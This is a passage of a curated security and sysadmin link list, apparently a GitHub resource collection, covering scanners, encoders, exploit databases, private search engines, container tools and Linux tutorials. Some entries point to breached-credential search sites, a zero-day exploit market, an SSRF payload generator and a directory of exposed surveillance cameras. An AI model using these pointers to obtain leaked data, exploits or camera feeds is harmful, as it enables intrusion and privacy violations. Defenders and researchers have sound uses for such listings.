:small_orange_diamond: <a href="https://dkimvalidator.com/"><b>DKIM SPF & Spam Assassin Validator</b></a> - checks mail authentication and scores messages with Spam Assassin.<br>
</p>
##### :black_small_square: Encoders/Decoders and Regex testing
<p>
:small_orange_diamond: <a href="https://www.url-encode-decode.com/"><b>URL Encode/Decode</b></a> - tool from above to either encode or decode a string of text.<br>
:small_orange_diamond: <a href="https://uncoder.io/"><b>Uncoder</b></a> - the online translator for search queries on log data.<br>
:small_orange_diamond: <a href="https://regex101.com/"><b>Regex101</b></a> - online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript.<br>
:small_orange_diamond: <a href="https://regexr.com/"><b>RegExr</b></a> - online tool to learn, build, & test Regular Expressions (RegEx / RegExp).<br>
:small_orange_diamond: <a href="https://www.regextester.com/"><b>RegEx Testing</b></a> - online regex testing tool.<br>
:small_orange_diamond: <a href="https://www.regexpal.com/"><b>RegEx Pal</b></a> - online regex testing tool + other tools.<br>
:small_orange_diamond: <a href="https://gchq.github.io/CyberChef/"><b>The Cyber Swiss Army Knife</b></a> - a web app for encryption, encoding, compression and data analysis.<br>
</p>
##### :black_small_square: Net-tools
<p>
:small_orange_diamond: <a href="https://toolbar.netcraft.com/site_report"><b>Netcraft</b></a> - detailed report about the site, helping you to make informed choices about their integrity.<b>*</b><br>
:small_orange_diamond: <a href="https://atlas.ripe.net/"><b>RIPE NCC Atlas</b></a> - a global, open, distributed Internet measurement platform.<br>
:small_orange_diamond: <a href="https://www.robtex.com/"><b>Robtex</b></a> - uses various sources to gather public information about IP numbers, domain names, host names, etc.<br>
:small_orange_diamond: <a href="https://securitytrails.com/"><b>Security Trails</b></a> - APIs for Security Companies, Researchers and Teams.<br>
:small_orange_diamond: <a href="https://tools.keycdn.com/curl"><b>Online Curl</b></a> - curl test, analyze HTTP Response Headers.<br>
:small_orange_diamond: <a href="https://extendsclass.com/"><b>Online Tools for Developers</b></a> - HTTP API tools, testers, encoders, converters, formatters, and other tools.<br>
:small_orange_diamond: <a href="https://ping.eu/"><b>Ping.eu</b></a> - online Ping, Traceroute, DNS lookup, WHOIS and others.<br>
:small_orange_diamond: <a href="https://network-tools.com/"><b>Network-Tools</b></a> - network tools for webmasters, IT technicians & geeks.<br>
:small_orange_diamond: <a href="https://bgpview.io/"><b>BGPview</b></a> - search for any ASN, IP, Prefix or Resource name.<br>
:small_orange_diamond: <a href="https://isbgpsafeyet.com/"><b>Is BGP safe yet?</b></a> - check BGP (RPKI) security of ISPs and other major Internet players.<br>
:small_orange_diamond: <a href="https://riseup.net/"><b>Riseup</b></a> - provides online communication tools for people and groups working on liberatory social change.<br>
:small_orange_diamond: <a href="https://www.virustotal.com/gui/home/upload"><b>VirusTotal</b></a> - analyze suspicious files and URLs to detect types of malware.<br>
</p>
##### :black_small_square: Privacy
<p>
:small_orange_diamond: <a href="https://www.privacytools.io/"><b>privacytools.io</b></a> - provides knowledge and tools to protect your privacy against global mass surveillance.<br>
:small_orange_diamond: <a href="https://dnsprivacy.org/wiki/display/DP/DNS+Privacy+Test+Servers"><b>DNS Privacy Test Servers</b></a> - DNS privacy recursive servers list (with a 'no logging' policy).<br>
</p>
##### :black_small_square: Code parsers/playgrounds
<p>
:small_orange_diamond: <a href="https://www.shellcheck.net/"><b>ShellCheck</b></a> - finds bugs in your shell scripts.<br>
:small_orange_diamond: <a href="https://explainshell.com/"><b>explainshell</b></a> - get interactive help texts for shell commands.<br>
:small_orange_diamond: <a href="https://jsbin.com/?html,output"><b>jsbin</b></a> - live pastebin for HTML, CSS & JavaScript, and more.<br>
:small_orange_diamond: <a href="https://codesandbox.io/"><b>CodeSandbox</b></a> - online code editor for web application development.<br>
:small_orange_diamond: <a href="http://sandbox.onlinephpfunctions.com/"><b>PHP Sandbox</b></a> - test your PHP code with this code tester.<br>
:small_orange_diamond: <a href="https://www.repl.it/"><b>Repl.it</b></a> - an instant IDE to learn, build, collaborate, and host all in one place.<br>
:small_orange_diamond: <a href="http://www.vclfiddle.net/"><b>vclFiddle</b></a> - is an online tool for experimenting with the Varnish Cache VCL.<br>
</p>
##### :black_small_square: Performance
<p>
:small_orange_diamond: <a href="https://gtmetrix.com/"><b>GTmetrix</b></a> - analyze your site’s speed and make it faster.<br>
:small_orange_diamond: <a href="https://performance.sucuri.net/"><b>Sucuri loadtimetester</b></a> - test here the
performance of any of your sites from across the globe.<br>
:small_orange_diamond: <a href="https://tools.pingdom.com/"><b>Pingdom Tools</b></a> - analyze your site’s speed around the world.<br>
:small_orange_diamond: <a href="https://pingme.io/"><b>PingMe.io</b></a> - run website latency tests across multiple geographic regions.<br>
:small_orange_diamond: <a href="https://developers.google.com/speed/pagespeed/insights/"><b>PageSpeed Insights</b></a> - analyze your site’s speed and make it faster.<br>
:small_orange_diamond: <a href="https://web.dev/"><b>web.dev</b></a> - helps developers like you learn and apply the web's modern capabilities to your own sites and apps.<br>
:small_orange_diamond: <a href="https://github.com/GoogleChrome/lighthouse"><b>Lighthouse</b></a> - automated auditing, performance metrics, and best practices for the web.<br>
</p>
##### :black_small_square: Mass scanners (search engines)
<p>
:small_orange_diamond: <a href="https://censys.io/"><b>Censys</b></a> - platform that helps information security practitioners discover, monitor, and analyze devices.<br>
:small_orange_diamond: <a href="https://www.shodan.io/"><b>Shodan</b></a> - the world's first search engine for Internet-connected devices.<br>
:small_orange_diamond: <a href="https://2000.shodan.io/#/"><b>Shodan 2000</b></a> - do you use Shodan for everyday work? This tool looks for randomly generated data from Shodan.<br>
:small_orange_diamond: <a href="https://viz.greynoise.io/table"><b>GreyNoise</b></a> - mass scanner such as Shodan and Censys.<br>
:small_orange_diamond: <a href="https://www.zoomeye.org/"><b>ZoomEye</b></a> - search engine for cyberspace that lets the user find specific network components.<br>
:small_orange_diamond: <a href="https://netograph.io/"><b>netograph</b></a> - tools to monitor and understand deep structure of the web.<br>
:small_orange_diamond: <a href="https://fofa.so/"><b>FOFA</b></a> - is a cyberspace search engine.<br>
:small_orange_diamond: <a href="https://www.onyphe.io/"><b>onyphe</b></a> - is a search engine for open-source and cyber threat intelligence data collected.<br>
:small_orange_diamond: <a href="https://intelx.io/"><b>IntelligenceX</b></a> - is a search engine and data archive.<br>
:small_orange_diamond: <a href="https://app.binaryedge.io/"><b>binaryedge</b></a> - it scan the entire internet space and create real-time threat intelligence streams and reports.<br>
:small_orange_diamond: <a href="https://wigle.net/"><b>wigle</b></a> - is a submission-based catalog of wireless networks. All the networks. Found by Everyone.<br>
:small_orange_diamond: <a href="https://publicwww.com/"><b>PublicWWW</b></a> - find any alphanumeric snippet, signature or keyword in the web pages HTML, JS and CSS code.<br>
:small_orange_diamond: <a href="https://inteltechniques.com/index.html"><b>IntelTechniques</b></a> - this repository contains hundreds of online search utilities.<br>
:small_orange_diamond: <a href="https://hunter.io/"><b>hunter</b></a> - lets you find email addresses in seconds and connect with the people that matter for your business.<br>
:small_orange_diamond: <a href="https://ghostproject.fr/"><b>GhostProject?</b></a> - search by full email address or username.<br>
:small_orange_diamond: <a href="https://www.databreaches.live/"><b>databreaches</b></a> - was my email affected by data breach?<br>
:small_orange_diamond: <a href="https://weleakinfo.com"><b>We Leak Info</b></a> - world's fastest and largest data breach search engine.<br>
:small_orange_diamond: <a href="https://pulsedive.com/"><b>Pulsedive</b></a> - scans of malicious URLs, IPs, and domains, including port scans and web requests.<br>
:small_orange_diamond: <a href="https://buckets.grayhatwarfare.com/"><b>Buckets by Grayhatwarfar</b></a> - database with public search for Open Amazon S3 Buckets and their contents.<br>
:small_orange_diamond: <a href="https://vigilante.pw/"><b>Vigilante.pw</b></a> - the breached database directory.<br>
:small_orange_diamond: <a href="https://builtwith.com/"><b>builtwith</b></a> - find out what websites are built with.<br>
:small_orange_diamond: <a href="https://nerdydata.com/"><b>NerdyData</b></a> - search the web's source code for technologies, across millions of sites.<br>
:small_orange_diamond: <a href="http://zorexeye.com/"><b>zorexeye</b></a> - search for sites, images, apps, softwares & more.<br>
:small_orange_diamond: <a href="https://www.mmnt.net/"><b>Mamont's open FTP Index</b></a> - if a target has an open FTP site with accessible content it will be listed here.<br>
:small_orange_diamond: <a href="https://osintframework.com/"><b>OSINT Framework</b></a> - focused on gathering information from free tools or resources.<br>
:small_orange_diamond: <a href="https://www.maltiverse.com/search"><b>maltiverse</b></a> - is a service oriented to cybersecurity analysts for the advanced analysis of indicators of compromise.<br>
:small_orange_diamond: <a href="https://leakedsource.ru/main/"><b>Leaked Source</b></a> - is a collaboration of data found online in the form of a lookup.<br>
:small_orange_diamond: <a href="https://search.weleakinfo.com/"><b>We Leak Info</b></a> - to help everyday individuals secure their online life, avoiding getting hacked.<br>
:small_orange_diamond: <a href="https://pipl.com/"><b>pipl</b></a> - is the place to find the person behind the email address, social username or phone number.<br>
:small_orange_diamond: <a href="https://abuse.ch/"><b>abuse.ch</b></a> - is operated by a random swiss guy fighting malware for non-profit.<br>
:small_orange_diamond: <a href="http://malc0de.com/database/"><b>malc0de</b></a> - malware search engine.<br>
:small_orange_diamond: <a href="https://cybercrime-tracker.net/index.php"><b>Cybercrime Tracker</b></a> - monitors and tracks various malware families that are used to perpetrate cyber crimes.<br>
:small_orange_diamond: <a href="https://github.com/eth0izzle/shhgit/"><b>shhgit</b></a> - find GitHub secrets in real time.<br>
:small_orange_diamond: <a href="https://searchcode.com/"><b>searchcode</b></a> - helping you find real world examples of functions, API's and libraries.<br>
:small_orange_diamond: <a href="http://www.insecam.org/"><b>Insecam</b></a> - the world biggest directory of online surveillance security cameras.<br>
:small_orange_diamond: <a href="http://index-of.es/"><b>index-of</b></a> - contains great stuff like: security, hacking, reverse engineering, cryptography, programming etc.<br>
:small_orange_diamond: <a href="https://opendata.rapid7.com/"><b>Rapid7 Labs Open Data</b></a> - is a great resources of datasets from Project Sonar.<br>
:small_orange_diamond: <a href="https://webtechsurvey.com/common-response-headers"><b>Common Response Headers</b></a> - the largest database of HTTP response headers.<br>
</p>
##### :black_small_square: Generators
<p>
:small_orange_diamond: <a href="https://thispersondoesnotexist.com/"><b>thispersondoesnotexist</b></a> - generate fake faces in one click - endless possibilities.<br>
:small_orange_diamond: <a href="https://generated.photos"><b>AI Generated Photos</b></a> - 100.000 AI generated faces.<br>
:small_orange_diamond: <a href="https://fakeface.co/"><b>fakeface</b></a> - fake faces browser.<br>
:small_orange_diamond: <a href="https://tools.intigriti.io/redirector/"><b>Intigriti Redirector</b></a> - open redirect/SSRF payload generator.<br>
</p>
##### :black_small_square: Passwords
<p>
:small_orange_diamond: <a href="https://haveibeenpwned.com/"><b>have i been pwned?</b></a> - check if you have an account that has been compromised in a data breach.<br>
:small_orange_diamond: <a href="https://www.dehashed.com/"><b>dehashed</b></a> - is a hacked database search engine.<br>
:small_orange_diamond: <a href="https://leakedsource.ru/"><b>Leaked Source</b></a> - is a collaboration of data found online in the form of a lookup.<br>
</p>
##### :black_small_square: CVE/Exploits databases
<p>
:small_orange_diamond: <a href="https://cve.mitre.org/"><b>CVE Mitre</b></a> - list of publicly known cybersecurity vulnerabilities.<br>
:small_orange_diamond: <a href="https://www.cvedetails.com/"><b>CVE Details</b></a> - CVE security vulnerability advanced database.<br>
:small_orange_diamond: <a href="https://www.exploit-db.com/"><b>Exploit DB</b></a> - CVE compliant archive of public exploits and corresponding vulnerable software.<br>
:small_orange_diamond: <a href="https://0day.today/"><b>0day.today</b></a> - exploits market provides you the possibility to buy zero-day exploits and also to sell 0day exploits.<br>
:small_orange_diamond: <a href="https://sploitus.com/"><b>sploitus</b></a> - the exploit and tools database.<br>
:small_orange_diamond: <a href="https://cxsecurity.com/exploit/"><b>cxsecurity</b></a> - free vulnerability database.<br>
:small_orange_diamond: <a href="https://www.vulncode-db.com/"><b>Vulncode-DB</b></a> - is a database for vulnerabilities and their corresponding source code if available.<br>
:small_orange_diamond: <a href="https://cveapi.com/"><b>cveapi</b></a> - free API for CVE data.<br>
</p>
##### :black_small_square: Mobile apps scanners
<p>
:small_orange_diamond: <a href="https://www.immuniweb.com/mobile/"><b>ImmuniWeb® Mobile App Scanner</b></a> - test security and privacy of mobile apps (iOS & Android).<br>
:small_orange_diamond: <a href="https://vulnerabilitytest.quixxi.com/"><b>Quixxi</b></a> - free Mobile App Vulnerability Scanner for Android & iOS.<br>
:small_orange_diamond: <a href="https://www.ostorlab.co/scan/mobile/"><b>Ostorlab</b></a> - analyzes mobile application to identify vulnerabilities and potential weaknesses.<br>
</p>
##### :black_small_square: Private Search Engines
<p>
:small_orange_diamond: <a href="https://www.startpage.com/"><b>Startpage</b></a> - the world's most private search engine.<br>
:small_orange_diamond: <a href="https://searx.me/"><b>searX</b></a> - a privacy-respecting, hackable metasearch engine.<br>
:small_orange_diamond: <a href="https://darksearch.io/"><b>darksearch</b></a> - the 1st real Dark Web search engine.<br>
:small_orange_diamond: <a href="https://www.qwant.com/"><b>Qwant</b></a> - the search engine that respects your privacy.<br>
:small_orange_diamond: <a href="https://duckduckgo.com/"><b>DuckDuckGo</b></a> - the search engine that doesn't track you.<br>
:small_orange_diamond: <a href="https://swisscows.com/"><b>Swisscows</b></a> - privacy safe web search<br>
:small_orange_diamond: <a href="https://search.disconnect.me/"><b>Disconnect</b></a> - the search engine that anonymizes your searches.<br>
:small_orange_diamond: <a href="https://metager.org/"><b>MetaGer</b></a> - the search engine that uses anonymous proxy and hidden Tor branches.<br>
</p>
##### :black_small_square: Secure Webmail Providers
<p>
:small_orange_diamond: <a href="https://countermail.com/"><b>CounterMail</b></a> - online email service, designed to provide maximum security and privacy.<br>
:small_orange_diamond: <a href="http://mail2tor.com/"><b>Mail2Tor</b></a> - is a Tor Hidden Service that allows anyone to send and receive emails anonymously.<br>
:small_orange_diamond: <a href="https://tutanota.com/"><b>Tutanota</b></a> - is the world's most secure email service and amazingly easy to use.<br>
:small_orange_diamond: <a href="https://protonmail.com/"><b>Protonmail</b></a> - is the world's largest secure email service, developed by CERN and MIT scientists.<br>
:small_orange_diamond: <a href="https://www.startmail.com/en/"><b>Startmail</b></a> - private & encrypted email made easy.<br>
</p>
##### :black_small_square: Crypto
<p>
:small_orange_diamond: <a href="https://keybase.io/"><b>Keybase</b></a> - it's open source and powered by public-key cryptography.<br>
</p>
##### :black_small_square: PGP Keyservers
<p>
:small_orange_diamond: <a href="https://keyserver.ubuntu.com/"><b>SKS OpenPGP Key server</b></a> - services for the SKS keyservers used by OpenPGP.<br>
</p>
#### Systems/Services [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: Operating Systems
<p>
:small_orange_diamond: <a href="http://www.slackware.com/"><b>Slackware</b></a> - the most "Unix-like" Linux distribution.<br>
:small_orange_diamond: <a href="https://www.openbsd.org/"><b>OpenBSD</b></a> - multi-platform 4.4BSD-based UNIX-like operating system.<br>
:small_orange_diamond: <a href="https://hardenedbsd.org/"><b>HardenedBSD</b></a> - HardenedBSD aims to implement innovative exploit mitigation and security solutions.<br>
:small_orange_diamond: <a href="https://www.kali.org/"><b>Kali Linux</b></a> - Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments.<br>
:small_orange_diamond: <a href="https://www.parrotsec.org/"><b>Parrot Security OS</b></a> - cyber security GNU/Linux environment.<br>
:small_orange_diamond: <a href="https://www.backbox.org/"><b>Backbox Linux</b></a> - penetration test and security assessment oriented Ubuntu-based Linux distribution.<br>
:small_orange_diamond: <a href="https://blackarch.org/"><b>BlackArch</b></a> - is an Arch Linux-based penetration testing distribution for penetration testers.<br>
:small_orange_diamond: <a href="https://www.pentoo.ch/"><b>Pentoo</b></a> - is a security-focused livecd based on Gentoo.<br>
:small_orange_diamond: <a href="https://securityonion.net/"><b>Security Onion</b></a> - Linux distro for intrusion detection, enterprise security monitoring, and log management.<br>
:small_orange_diamond: <a href="https://tails.boum.org/"><b>Tails</b></a> - is a live system that aims to preserve your privacy and anonymity.<br>
:small_orange_diamond: <a href="https://github.com/vedetta-com/vedetta"><b>vedetta</b></a> - OpenBSD router boilerplate.<br>
:small_orange_diamond: <a href="https://www.qubes-os.org"><b>Qubes OS</b></a> - is a security-oriented OS that uses Xen-based virtualization.<br>
</p>
##### :black_small_square: HTTP(s) Services
<p>
:small_orange_diamond: <a href="https://varnish-cache.org/"><b>Varnish Cache</b></a> - HTTP accelerator designed for content-heavy dynamic web sites.<br>
:small_orange_diamond: <a href="https://nginx.org/"><b>Nginx</b></a> - open source web and reverse proxy server that is similar to Apache, but very light weight.<br>
:small_orange_diamond: <a href="https://openresty.org/en/"><b>OpenResty</b></a> - is a dynamic web platform based on NGINX and LuaJIT.<br>
:small_orange_diamond: <a href="https://github.com/alibaba/tengine"><b>Tengine</b></a> - a distribution of Nginx with some advanced features.<br>
:small_orange_diamond: <a href="https://caddyserver.com/"><b>Caddy Server</b></a> - is an open source, HTTP/2-enabled web server with HTTPS by default.<br>
:small_orange_diamond: <a href="https://www.haproxy.org/"><b>HAProxy</b></a> - the reliable, high performance TCP/HTTP load balancer.<br>
</p>
##### :black_small_square: DNS Services
<p>
:small_orange_diamond: <a href="https://nlnetlabs.nl/projects/unbound/about/"><b>Unbound</b></a> - validating, recursive, and caching DNS resolver (with TLS).<br>
:small_orange_diamond: <a href="https://www.knot-resolver.cz/"><b>Knot Resolver</b></a> - caching full resolver implementation, including both a resolver library and a daemon.<br>
:small_orange_diamond: <a href="https://www.powerdns.com/"><b>PowerDNS</b></a> - is an open source authoritative DNS server, written in C++ and licensed under the GPL.<br>
</p>
##### :black_small_square: Other Services
<p>
:small_orange_diamond: <a href="https://github.com/z3APA3A/3proxy"><b>3proxy</b></a> - tiny free proxy server.<br>
</p>
##### :black_small_square: Security/hardening
<p>
:small_orange_diamond: <a href="https://twitter.com/EmeraldOnion"><b>Emerald Onion</b></a> - is a 501(c)(3) nonprofit organization and transit internet service provider (ISP) based in Seattle.<br>
:small_orange_diamond: <a href="https://github.com/pi-hole/pi-hole"><b>pi-hole</b></a> - the Pi-hole® is a DNS sinkhole that protects your devices from unwanted content.<br>
:small_orange_diamond: <a href="https://github.com/stamparm/maltrail"><b>maltrail</b></a> - malicious traffic detection system.<br>
:small_orange_diamond: <a href="https://github.com/Netflix/security_monkey"><b>security_monkey</b></a> - monitors AWS, GCP, OpenStack, and GitHub orgs for assets and their changes over time.<br>
:small_orange_diamond: <a href="https://github.com/firecracker-microvm/firecracker"><b>firecracker</b></a> - secure and fast microVMs for serverless computing.<br>
:small_orange_diamond: <a href="https://github.com/StreisandEffect/streisand"><b>streisand</b></a> - sets up a new server running your choice of WireGuard, OpenSSH, OpenVPN, and more.<br>
</p>
#### Networks [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: Tools
<p>
:small_orange_diamond: <a href="https://www.capanalysis.net/ca/"><b>CapAnalysis</b></a> - web visual tool to analyze large amounts of captured network traffic (PCAP analyzer).<br>
:small_orange_diamond: <a href="https://github.com/digitalocean/netbox"><b>netbox</b></a> - IP address management (IPAM) and data center infrastructure management (DCIM) tool.<br>
</p>
##### :black_small_square: Labs
<p>
:small_orange_diamond: <a href="https://labs.networkreliability.engineering/"><b>NRE Labs</b></a> - learn automation by doing it. Right now, right here, in your browser.<br>
</p>
##### :black_small_square: Other
<p>
:small_orange_diamond: <a href="https://ee.lbl.gov/"><b>LBNL's Network Research Group</b></a> - home page of the Network Research Group (NRG).<br>
</p>
#### Containers/Orchestration [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: CLI Tools
<p>
:small_orange_diamond: <a href="https://github.com/google/gvisor"><b>gvisor</b></a> - container runtime sandbox.<br>
:small_orange_diamond: <a href="https://github.com/bcicen/ctop"><b>ctop</b></a> - top-like interface for container metrics.<br>
</p>
##### :black_small_square: Web Tools
<p>
:small_orange_diamond: <a href="https://github.com/moby/moby"><b>Moby</b></a> - a collaborative project for the container ecosystem to assemble container-based system.<br>
:small_orange_diamond: <a href="https://traefik.io/"><b>Traefik</b></a> - open source reverse proxy/load balancer provides easier integration with Docker and Let's encrypt.<br>
:small_orange_diamond: <a href="https://github.com/Kong/kong"><b>kong</b></a> - The Cloud-Native API Gateway.<br>
:small_orange_diamond: <a href="https://github.com/rancher/rancher"><b>rancher</b></a> - complete container management platform.<br>
:small_orange_diamond: <a href="https://github.com/portainer/portainer"><b>portainer</b></a> - making Docker management easy.<br>
:small_orange_diamond: <a href="https://github.com/jwilder/nginx-proxy"><b>nginx-proxy</b></a> - automated nginx proxy for Docker containers using docker-gen.<br>
</p>
##### :black_small_square: Security
<p>
:small_orange_diamond: <a href="https://github.com/docker/docker-bench-security"><b>docker-bench-security</b></a> - is a script that checks for dozens of common best-practices around deploying Docker.<br>
:small_orange_diamond: <a href="https://github.com/aquasecurity/trivy"><b>trivy</b></a> - vulnerability scanner for containers, suitable for CI.<br>
:small_orange_diamond: <a href="https://goharbor.io/"><b>Harbor</b></a> - cloud native registry project that stores, signs, and scans content.<br>
</p>
##### :black_small_square: Manuals/Tutorials/Best Practices
<p>
:small_orange_diamond: <a href="https://github.com/wsargent/docker-cheat-sheet"><b>docker-cheat-sheet</b></a> - a quick reference cheat sheet on Docker.<br>
:small_orange_diamond: <a href="https://github.com/veggiemonk/awesome-docker"><b>awesome-docker</b></a> - a curated list of Docker resources and projects.<br>
:small_orange_diamond: <a href="https://github.com/yeasy/docker_practice"><b>docker_practice</b></a> - learn and understand Docker technologies, with real DevOps practice!<br>
:small_orange_diamond: <a href="https://github.com/docker/labs"><b>labs
</b></a> - is a collection of tutorials for learning how to use Docker with various tools.<br>
:small_orange_diamond: <a href="https://github.com/jessfraz/dockerfiles"><b>dockerfiles</b></a> - various Dockerfiles I use on the desktop and on servers.<br>
:small_orange_diamond: <a href="https://github.com/kelseyhightower/kubernetes-the-hard-way"><b>kubernetes-the-hard-way</b></a> - bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.<br>
:small_orange_diamond: <a href="https://github.com/jamesward/kubernetes-the-easy-way"><b>kubernetes-the-easy-way</b></a> - bootstrap Kubernetes the easy way on Google Cloud Platform. No scripts.<br>
:small_orange_diamond: <a href="https://github.com/dennyzhang/cheatsheet-kubernetes-A4"><b>cheatsheet-kubernetes-A4</b></a> - Kubernetes CheatSheets in A4.<br>
:small_orange_diamond: <a href="https://github.com/kabachook/k8s-security"><b>k8s-security</b></a> - kubernetes security notes and best practices.<br>
:small_orange_diamond: <a href="https://learnk8s.io/production-best-practices/"><b>kubernetes-production-best-practices</b></a> - checklists with best-practices for production-ready Kubernetes.<br>
:small_orange_diamond: <a href="https://github.com/freach/kubernetes-security-best-practice"><b>kubernetes-production-best-practices</b></a> - kubernetes security - best practice guide.<br>
:small_orange_diamond: <a href="https://github.com/hjacobs/kubernetes-failure-stories"><b>kubernetes-failure-stories</b></a> - is a compilation of public failure/horror stories related to Kubernetes.<br>
</p>
#### Manuals/Howtos/Tutorials [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: Shell/Command line
<p>
:small_orange_diamond: <a href="https://github.com/dylanaraps/pure-bash-bible"><b>pure-bash-bible</b></a> - is a collection of pure bash alternatives to external processes.<br>
:small_orange_diamond: <a href="https://github.com/dylanaraps/pure-sh-bible"><b>pure-sh-bible</b></a> - is a collection of pure POSIX sh alternatives to external processes.<br>
:small_orange_diamond: <a href="https://github.com/Idnan/bash-guide"><b>bash-guide</b></a> - is a guide to learn bash.<br>
:small_orange_diamond: <a href="https://github.com/denysdovhan/bash-handbook"><b>bash-handbook</b></a> - for those who wanna learn Bash.<br>
:small_orange_diamond: <a href="https://wiki.bash-hackers.org/start"><b>The Bash Hackers Wiki</b></a> - hold documentation of any kind about GNU Bash.<br>
:small_orange_diamond: <a href="http://pubs.opengroup.org/onlinepubs/9699919799/utilities/contents.html"><b>Shell & Utilities</b></a> - describes the commands offered to application programs by POSIX-conformant systems.<br>
:small_orange_diamond: <a href="https://github.com/jlevy/the-art-of-command-line"><b>the-art-of-command-line</b></a> - master the command line, in one page.<br>
:small_orange_diamond: <a href="https://google.github.io/styleguide/shellguide.html"><b>Shell Style Guide</b></a> - a shell style guide for Google-originated open-source projects.<br>
</p>
##### :black_small_square: Text Editors
<p>
:small_orange_diamond: <a href="https://vim.rtorr.com/"><b>Vim Cheat Sheet</b></a> - great multi language vim guide.<br>
</p>
##### :black_small_square: Python
<p>
:small_orange_diamond: <a href="https://awesome-python.com/"><b>Awesome Python</b></a> - a curated list of awesome Python frameworks, libraries, software and resources.<br>
:small_orange_diamond: <a href="https://github.com/gto76/python-cheatsheet"><b>python-cheatsheet</b></a> - comprehensive Python cheatsheet.<br>
:small_orange_diamond: <a href="https://www.pythoncheatsheet.org/"><b>pythoncheatsheet.org</b></a> - basic reference for beginner and advanced developers.<br>
</p>
##### :black_small_square: Sed & Awk & Other
<p>
:small_orange_diamond: <a href="https://posts.specterops.io/fawk-yeah-advanced-sed-and-awk-usage-parsing-for-pentesters-3-e5727e11a8ad?gi=c8f9506b26b6"><b>F’Awk Yeah!</b></a> - advanced sed and awk usage (Parsing for Pentesters 3).<br>
</p>
##### :black_small_square: \*nix & Network
<p>
:small_orange_diamond: <a href="https://www.cyberciti.biz/"><b>nixCraft</b></a> - linux and unix tutorials for new and seasoned sysadmin.<br>
:small_orange_diamond: <a href="https://www.tecmint.com/"><b>TecMint</b></a> - the ideal Linux blog for Sysadmins & Geeks.<br>
:small_orange_diamond: <a href="http://www.omnisecu.com/index.php"><b>Omnisecu</b></a> - free Networking, System Administration and Security tutorials.<br>
:small_orange_diamond: <a href="https://github.com/cirosantilli/linux-cheat"><b>linux-cheat</b></a> - Linux tutorials and cheatsheets. Minimal examples. Mostly user-land CLI utilities.<br>
:small_orange_diamond: <a href="https://github.com/snori74/linuxupskillchallenge"><b>linuxupskillchallenge</b></a> - learn the skills required to sysadmin.<br>
:small_orange_diamond: <a href="http://cb.vu/unixtoolbox.xhtml"><b>Unix Toolbox</b></a> - Unix/Linux/BSD commands and tasks which are useful for IT work or for advanced users.<br>
:small_orange_diamond: <a href="https://linux-kernel-labs.github.io/refs/heads/master/index.html"><b>Linux Kernel Teaching</b></a> - is a collection of lectures and labs Linux kernel topics.<br>
:small_orange_diamond: <a href="https://peteris.rocks/blog/htop/"><b>htop explained</b></a> - explanation of everything you can see in htop/top on Linux.<br>
:small_orange_diamond: <a href="https://linuxguideandhints.com/"><b>Linux Guide and Hints</b></a> - tutorials on system administration in Fedora and CentOS.<br>
:small_orange_diamond: <a href="https://github.com/NanXiao/strace-little-book"><b>strace-little-book</b></a> - a little book which introduces strace.<br>
:small_orange_diamond: <a href="https://github.com/goldshtn/linux-tracing-workshop"><b>linux-tracing-workshop</b></a> - examples and hands-on labs for Linux tracing tools workshops.<br>
:small_orange_diamond: <a href="https://github.com/bagder/http2-explained"><b>http2-explained</b></a> - a detailed document explaining and documenting HTTP/2.<br>
:small_orange_diamond: <a href="https://github.com/bagder/http3-explained"><b>http3-explained</b></a> - a document describing the HTTP/3 and QUIC protocols.<br>
:small_orange_diamond: <a href="https://www.manning.com/books/http2-in-action"><b>HTTP/2 in Action</b></a> - an excellent introduction to the new HTTP/2 standard.<br>
:small_orange_diamond: <a href="https://www.saminiir.com/lets-code-tcp-ip-stack-1-ethernet-arp/"><b>Let's code a TCP/IP stack</b></a> - great stuff to learn network and system programming at a deeper level.<br>
:small_orange_diamond: <a href="https://github.com/trimstray/nginx-admins-handbook"><b>Nginx Admin's Handbook</b></a> - describes how to improve NGINX performance, security and other important things.<br>
:small_orange_diamond: <a href="https://github.com/digitalocean/nginxconfig.io"><b>nginxconfig.io</b></a> - NGINX config generator on steroids.<br>
:small_orange_diamond: <a href="https://infosec.mozilla.org/guidelines/openssh"><b>openssh guideline</b></a> - is to help operational teams with the configuration of OpenSSH server and client.<br>
:small_orange_diamond: <a href="https://gravitational.com/blog/ssh-handshake-explained/"><b>SSH Handshake Explained</b></a> - is a relatively brief description of the SSH handshake.<br>
:small_orange_diamond: <a href="https://kb.isc.org/docs/using-this-knowledgebase"><b>ISC's Knowledgebase</b></a> - you'll find some general information about BIND 9, ISC DHCP, and Kea DHCP.<br>
:small_orange_diamond: <a href="https://packetlife.net/"><b>PacketLife.net</b></a> - a place to record notes while studying for Cisco's CCNP certification.<br>
</p>
##### :black_small_square: Microsoft
<p>
:small_orange_diamond: <a href="https://github.com/infosecn1nja/AD-Attack-Defense"><b>AD-Attack-Defense</b></a> - attack and defend active directory using modern post exploitation activity.<br>
</p>
##### :black_small_square: Large-scale systems
<p>
:small_orange_diamond: <a href="https://github.com/donnemartin/system-design-primer"><b>The System Design Primer</b></a> - learn how to design large-scale systems.<br>
:small_orange_diamond: <a href="https://github.com/binhnguyennus/awesome-scalability"><b>Awesome Scalability</b></a> - best practices in building High Scalability, High Availability, High Stability, and more.<br>
:small_orange_diamond: <a href="https://engineering.videoblocks.com/web-architecture-101-a3224e126947?gi=a896808d22a"><b>Web Architecture 101</b></a> - the basic architecture concepts.<br>
</p>
##### :black_small_square: System hardening
<p>
:small_orange_diamond: <a href="https://www.cisecurity.org/cis-benchmarks/"><b>CIS Benchmarks</b></a> - secure configuration settings for over 100 technologies, available as a free PDF.<br>
:small_orange_diamond: <a href="https://highon.coffee/blog/security-harden-centos-7/"><b>Security Harden CentOS 7</b></a> - this walks you through the steps required to security harden CentOS.<br>
:small_orange_diamond: <a href="https://www.lisenet.com/2017/centos-7-server-hardening-guide/"><b>CentOS 7 Server Hardening Guide</b></a> - great guide for hardening CentOS; familiar with OpenSCAP.<br>
:small_orange_diamond: <a href="https://github.com/decalage2/awesome-security-hardening"><b>awesome-security-hardening</b></a> - is a collection of security hardening guides, tools and other resources.<br>
